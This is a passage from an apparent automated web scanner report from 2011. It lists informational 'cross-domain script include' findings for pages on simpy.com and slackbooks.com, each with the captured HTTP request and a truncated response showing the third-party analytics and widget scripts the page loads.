Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=424gp35pn7vk2ctdh6coo9832mv1h5ug; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 61922

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
<head>
<meta name="msvalidate.01" content="C0594E2AB82AE90F82DE0425FCA782B9" />

...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
...[SNIP]...

21.382. http://www.simpy.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simpy.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://amch.questionmarket.com/adsc/d821869/2/822749/randm.js
http://cdn.echoenabled.com/clientapps/v2/jquery-pack.js
http://cdn.js-kit.com/scripts/echo-stream.js
http://static.reuters.com/resources/media/global/assets/interactives/mdRates.js

Request

GET / HTTP/1.1
Host: www.simpy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:13:55 GMT
Server: Apache
Expires: Sun, 6 Feb 2011 16:09:57 GMT
Last-UpdatedL: Sun, 06 Feb 2011 16:08:19 GMT
Age: 235
Vary: Accept-Encoding
Content-Length: 83300
Connection: close
Content-Type: text/html;charset=UTF-8
Set-Cookie: SSLB=A;path=/;domain=www.reuters.com;




<script type="text/javascript" src="http://amch.questionmarket.com/adsc/d821869/2/822749/randm.js"></script>
...[SNIP]...
</div>
<script language="javascript" src="http://static.reuters.com/resources/media/global/assets/interactives/mdRates.js"></script>
...[SNIP]...

21.383. http://www.slackbooks.com/404.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/404.aspx

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /404.aspx HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=005mudrubsn3zlj31keaeuvq;

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Sat, 05 Feb 2011 22:40:25 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11908

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.384. http://www.slackbooks.com/Athletic+Training previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/Athletic+Training

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /Athletic+Training HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:13:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private
Content-Length: 36342
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.385. http://www.slackbooks.com/BestSellers.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/BestSellers.aspx

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /BestSellers.aspx HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:13:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11491

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.386. http://www.slackbooks.com/ContactUs.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ContactUs.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.recaptcha.net/challenge?k=6LfNQggAAAAAAD07vJbkg2_uaTuhpNVgs5S2G0Fb
http://www.google-analytics.com/urchin.js

Request

GET /ContactUs.aspx HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:00 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 22246

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...
</script><script type="text/javascript" src="http://api.recaptcha.net/challenge?k=6LfNQggAAAAAAD07vJbkg2_uaTuhpNVgs5S2G0Fb">

</script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.387. http://www.slackbooks.com/Manual+Therapy previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/Manual+Therapy

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /Manual+Therapy HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:03 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private
Content-Length: 26092
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.388. http://www.slackbooks.com/NewTitleNotification.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/NewTitleNotification.aspx

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /NewTitleNotification.aspx HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:05 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 24964

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.389. http://www.slackbooks.com/Orthotics+and+Prosthetics previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/Orthotics+and+Prosthetics

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /Orthotics+and+Prosthetics HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private
Content-Length: 21194
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.390. http://www.slackbooks.com/Physical+Therapy previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/Physical+Therapy

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /Physical+Therapy HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private
Content-Length: 67123
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.391. http://www.slackbooks.com/ShoppingCart.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ShoppingCart.aspx

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /ShoppingCart.aspx HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=005mudrubsn3zlj31keaeuvq;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:40:10 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 13641

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.392. http://www.slackbooks.com/aclreconstuct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/aclreconstuct

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.addtoany.com/menu/page.js
http://www.google-analytics.com/urchin.js

Request

GET /aclreconstuct HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:13:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 40543

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...
</script>
<script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.393. http://www.slackbooks.com/ccacl previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ccacl

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.addtoany.com/menu/page.js
http://www.google-analytics.com/urchin.js

Request

GET /ccacl HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:13:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 67580

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...
</script>
<script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.394. http://www.slackbooks.com/ccknee previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ccknee

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.addtoany.com/menu/page.js
http://www.google-analytics.com/urchin.js

Request

GET /ccknee HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:13:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 60374

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...
</script>
<script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.395. http://www.slackbooks.com/clinical+nursing+resources previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/clinical+nursing+resources

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /clinical+nursing+resources HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:00 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private
Content-Length: 29581
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.396. http://www.slackbooks.com/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/default.aspx

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /default.aspx HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:00 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 22052

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.397. http://www.slackbooks.com/essentialknee previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/essentialknee

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.addtoany.com/menu/page.js
http://www.google-analytics.com/urchin.js

Request

GET /essentialknee HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:09:37 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=p4d1s0553lwtxd55n2fgcr55; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 39511

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...
</script>
<script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.398. http://www.slackbooks.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/favicon.ico

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /favicon.ico HTTP/1.1
Host: www.slackbooks.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=005mudrubsn3zlj31keaeuvq; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944200.1; __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utmb=164007549; __utmc=164007549; __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:27 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11972

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.399. http://www.slackbooks.com/gastroenterology previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/gastroenterology

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /gastroenterology HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:02 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private
Content-Length: 26067
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.400. http://www.slackbooks.com/homemodification previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/homemodification

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.addtoany.com/menu/page.js
http://www.google-analytics.com/urchin.js

Request

GET /homemodification HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:04 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 48031

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...
</script>
<script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.401. http://www.slackbooks.com/occupational+therapy previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/occupational+therapy

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /occupational+therapy HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:07 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private
Content-Length: 66784
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.402. http://www.slackbooks.com/ophthalmic+technology previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ophthalmic+technology

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /ophthalmic+technology HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:07 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private
Content-Length: 41339
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

